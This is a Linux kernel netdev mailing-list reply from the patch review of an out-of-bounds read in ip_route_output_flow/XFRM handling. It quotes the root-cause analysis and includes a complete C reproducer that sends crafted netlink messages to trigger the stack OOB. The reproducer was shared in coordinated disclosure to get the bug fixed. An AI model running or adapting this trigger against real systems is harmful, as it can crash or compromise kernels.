From: Hyunwoo Kim <v4bel@theori.io>
To: Steffen Klassert <steffen.klassert@secunet.com>
Cc: Eric Dumazet <edumazet@google.com>,
Taehee Yoo <ap420073@gmail.com>,
"David S. Miller" <davem@davemloft.net>,
Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
Dmitry Kozlov <xeb@mail.ru>, David Ahern <dsahern@kernel.org>,
tudordana@google.com, netdev@vger.kernel.org, imv4bel@gmail.com,
v4bel@theori.io
Subject: Re: [PATCH] net: Fix invalid ip_route_output_ports() call
Date: Tue, 21 Mar 2023 04:14:30 -0700 [thread overview]
Message-ID: <20230321111430.GA22737@ubuntu> (raw)
In-Reply-To: <ZBmMUjSXPzFBWeTv@gauss3.secunet.de>
On Tue, Mar 21, 2023 at 11:52:02AM +0100, Steffen Klassert wrote:
> On Mon, Mar 20, 2023 at 10:08:03PM -0700, Hyunwoo Kim wrote:
> > On Mon, Mar 20, 2023 at 08:17:15PM -0700, Eric Dumazet wrote:
> > > On Mon, Mar 20, 2023 at 7:49 PM Hyunwoo Kim <v4bel@theori.io> wrote:
> >
> > struct rtable *ip_route_output_flow(struct net *net, struct flowi4 *flp4,
> > const struct sock *sk)
> > {
> > struct rtable *rt = __ip_route_output_key(net, flp4);
> >
> > if (IS_ERR(rt))
> > return rt;
> >
> > if (flp4->flowi4_proto) {
> > flp4->flowi4_oif = rt->dst.dev->ifindex;
> > rt = (struct rtable *)xfrm_lookup_route(net, &rt->dst,
> > flowi4_to_flowi(flp4), // <===[4]
> > sk, 0);
> > }
> >
> > return rt;
> > }
> > EXPORT_SYMBOL_GPL(ip_route_output_flow);
> > ```
> > This is the cause of the stack OOB. Because we calculated the struct flowi pointer address based on struct flowi4 declared as a stack variable,
> > if we accessed a member of flowi that exceeds the size of flowi4, we would get an OOB.
> >
> >
> > Finally, xfrm_state_find()[5] uses daddr, which is a pointer to `&fl->u.ip4.saddr`.
> > Here, the encap_family variable can be entered by the user using the netlink socket.
> > If the user chose AF_INET6 instead of AF_INET, the xfrm_dst_hash() function would be called on an AF_INET6 basis[6],
> > which could cause an OOB in the `struct flowi4 fl4` variable of igmpv3_newpack()[2].
>
> Thanks for the great analysis!
>
> Looks like a missing sanity check when the policy gets inserted.
> Can you send the output of 'ip x p' for that policy?
I'm not sure what 'ip x p' means, as my understanding of XFRM is limited, sorry.
Instead, here is the (dirty) code I used to trigger this:
```
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
int ret;
intptr_t res = 0;
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
res = syscall(__NR_socket, 0x10ul, 3ul, 0);
printf("socket() 1 : %ld\n", res);
if (res != -1)
r[0] = res;
*(uint64_t*)0x20000000 = 0;
*(uint32_t*)0x20000008 = 0;
*(uint64_t*)0x20000010 = 0x20000140;
*(uint64_t*)0x20000140 = 0x20000040;
memcpy((void*)0x20000040,
"\x3c\x00\x00\x00\x10\x00\x01\x04\x00\xee\xff\xff\xff\xff\xff\xff\x00"
"\x00\x00\x00",
20);
*(uint32_t*)0x20000054 = -1;
memcpy((void*)0x20000058,
"\x01\x00\x00\x00\x01\x00\x00\x00\x1c\x00\x12\x00\x0c\x00\x01\x00\x62"
"\x72\x69\x64\x67\x65",
22);
*(uint64_t*)0x20000148 = 0x3c;
*(uint64_t*)0x20000018 = 1;
*(uint64_t*)0x20000020 = 0;
*(uint64_t*)0x20000028 = 0;
*(uint32_t*)0x20000030 = 0;
ret = syscall(__NR_sendmsg, r[0], 0x20000000ul, 0ul);
printf("sendmsg() 1 : %d\n", ret);
res = syscall(__NR_socket, 0x10ul, 3ul, 6);
printf("socket() 2 : %ld\n", res);
if (res != -1)
r[1] = res;
*(uint64_t*)0x20000480 = 0;
*(uint32_t*)0x20000488 = 0;
*(uint64_t*)0x20000490 = 0x20000200;
*(uint64_t*)0x20000200 = 0x200004c0;
*(uint32_t*)0x200004c0 = 0x208;
*(uint16_t*)0x200004c4 = 0x19;
*(uint16_t*)0x200004c6 = 1;
*(uint32_t*)0x200004c8 = 0;
*(uint32_t*)0x200004cc = 0;
memset((void*)0x200004d0, 0, 16);
*(uint8_t*)0x200004e0 = -1;
*(uint8_t*)0x200004e1 = 1;
memset((void*)0x200004e2, 0, 13);
*(uint8_t*)0x200004ef = 1;
*(uint16_t*)0x200004f0 = htobe16(0);
*(uint16_t*)0x200004f2 = htobe16(0);
*(uint16_t*)0x200004f4 = htobe16(0);
*(uint16_t*)0x200004f6 = htobe16(0);
*(uint16_t*)0x200004f8 = 2;
*(uint8_t*)0x200004fa = 0;
*(uint8_t*)0x200004fb = 0;
*(uint8_t*)0x200004fc = 0;
*(uint32_t*)0x20000500 = 0;
*(uint32_t*)0x20000504 = -1;
*(uint64_t*)0x20000508 = 0;
*(uint64_t*)0x20000510 = 0;
*(uint64_t*)0x20000518 = 0;
*(uint64_t*)0x20000520 = 0;
*(uint64_t*)0x20000528 = 0;
*(uint64_t*)0x20000530 = 0;
*(uint64_t*)0x20000538 = 0;
*(uint64_t*)0x20000540 = 0;
*(uint64_t*)0x20000548 = 0;
*(uint64_t*)0x20000550 = 0;
*(uint64_t*)0x20000558 = 0;
*(uint64_t*)0x20000560 = 0;
*(uint32_t*)0x20000568 = 0;
*(uint32_t*)0x2000056c = 0;
*(uint8_t*)0x20000570 = 1;
*(uint8_t*)0x20000571 = 0;
*(uint8_t*)0x20000572 = 0;
*(uint8_t*)0x20000573 = 0;
*(uint16_t*)0x20000578 = 0xc;
*(uint16_t*)0x2000057a = 0x15;
*(uint32_t*)0x2000057c = 0;
*(uint32_t*)0x20000580 = 6;
*(uint16_t*)0x20000584 = 0x144;
*(uint16_t*)0x20000586 = 5;
memset((void*)0x20000588, 0, 16);
*(uint32_t*)0x20000598 = htobe32(0);
*(uint8_t*)0x2000059c = 0x6c;
*(uint16_t*)0x200005a0 = 0;
*(uint32_t*)0x200005a4 = htobe32(0);
*(uint32_t*)0x200005b4 = 0;
*(uint8_t*)0x200005b8 = 4;
*(uint8_t*)0x200005b9 = 0;
*(uint8_t*)0x200005ba = 0x10;
*(uint32_t*)0x200005bc = 0;
*(uint32_t*)0x200005c0 = 0;
*(uint32_t*)0x200005c4 = 0;
*(uint32_t*)0x200005c8 = htobe32(0xe0000002);
*(uint32_t*)0x200005d8 = htobe32(0);
*(uint8_t*)0x200005dc = 0x33;
*(uint16_t*)0x200005e0 = 0xa;
*(uint8_t*)0x200005e4 = 0xfc;
*(uint8_t*)0x200005e5 = 0;
memset((void*)0x200005e6, 0, 13);
*(uint8_t*)0x200005f3 = 0;
*(uint32_t*)0x200005f4 = 0;
*(uint8_t*)0x200005f8 = 1;
*(uint8_t*)0x200005f9 = 0;
*(uint8_t*)0x200005fa = 0x20;
*(uint32_t*)0x200005fc = 0;
*(uint32_t*)0x20000600 = 0;
*(uint32_t*)0x20000604 = 0;
*(uint8_t*)0x20000608 = 0xac;
*(uint8_t*)0x20000609 = 0x14;
*(uint8_t*)0x2000060a = 0x14;
*(uint8_t*)0x2000060b = 0xfa;
*(uint32_t*)0x20000618 = htobe32(0);
*(uint8_t*)0x2000061c = 0x2b;
*(uint16_t*)0x20000620 = 0xa;
*(uint8_t*)0x20000624 = 0xac;
*(uint8_t*)0x20000625 = 0x14;
*(uint8_t*)0x20000626 = 0x14;
*(uint8_t*)0x20000627 = 0xbb;
*(uint32_t*)0x20000634 = 0;
*(uint8_t*)0x20000638 = 0;
*(uint8_t*)0x20000639 = 0;
*(uint8_t*)0x2000063a = 3;
*(uint32_t*)0x2000063c = 0;
*(uint32_t*)0x20000640 = 0;
*(uint32_t*)0x20000644 = 0;
memcpy((void*)0x20000648,
" \001\000\000\000\000\000\000\000\000\000\000\000\000\000\001", 16);
*(uint32_t*)0x20000658 = htobe32(0);
*(uint8_t*)0x2000065c = 0x33;
*(uint16_t*)0x20000660 = 0xa;
*(uint32_t*)0x20000664 = htobe32(0);
*(uint32_t*)0x20000674 = 0;
*(uint8_t*)0x20000678 = 3;
*(uint8_t*)0x20000679 = 0;
*(uint8_t*)0x2000067a = 0;
*(uint32_t*)0x2000067c = 0;
*(uint32_t*)0x20000680 = 0;
*(uint32_t*)0x20000684 = 0;
*(uint32_t*)0x20000688 = htobe32(0x7f000001);
*(uint32_t*)0x20000698 = htobe32(0);
*(uint8_t*)0x2000069c = 0x6c;
*(uint16_t*)0x200006a0 = 0xa;
*(uint8_t*)0x200006a4 = -1;
*(uint8_t*)0x200006a5 = 1;
memset((void*)0x200006a6, 0, 13);
*(uint8_t*)0x200006b3 = 1;
*(uint32_t*)0x200006b4 = 0;
*(uint8_t*)0x200006b8 = 0;
*(uint8_t*)0x200006b9 = 0;
*(uint8_t*)0x200006ba = 0;
*(uint32_t*)0x200006bc = 0;
*(uint32_t*)0x200006c0 = 0;
*(uint32_t*)0x200006c4 = -1;
*(uint64_t*)0x20000208 = 0x208;
*(uint64_t*)0x20000498 = 1;
*(uint64_t*)0x200004a0 = 0;
*(uint64_t*)0x200004a8 = 0;
*(uint32_t*)0x200004b0 = 0;
ret = syscall(__NR_sendmsg, r[1], 0x20000480ul, 0ul);
printf("sendmsg() 2 : %d\n", ret);
return 0;
}
```
next prev parent reply other threads:[~2023-03-21 11:15 UTC|newest]
Thread overview: 12+ messages / expand[flat|nested] mbox.gz Atom feed top
2023-03-21 2:49 [PATCH] net: Fix invalid ip_route_output_ports() call Hyunwoo Kim
2023-03-21 3:17 ` Eric Dumazet
2023-03-21 5:08 ` Hyunwoo Kim
2023-03-21 5:19 ` Eric Dumazet
2023-03-21 10:52 ` Steffen Klassert
2023-03-21 11:14 ` Hyunwoo Kim [this message]
2023-03-21 11:19 ` Eric Dumazet
2023-03-21 11:35 ` Hyunwoo Kim
2023-03-24 9:57 ` Steffen Klassert
2023-03-30 7:42 ` Tudor Ambarus
2023-03-30 7:56 ` Steffen Klassert
2023-03-21 11:36 ` Steffen Klassert
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20230321111430.GA22737@ubuntu \
--to=v4bel@theori.io \
--cc=ap420073@gmail.com \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@google.com \
--cc=imv4bel@gmail.com \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=steffen.klassert@secunet.com \
--cc=tudordana@google.com \
--cc=xeb@mail.ru \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.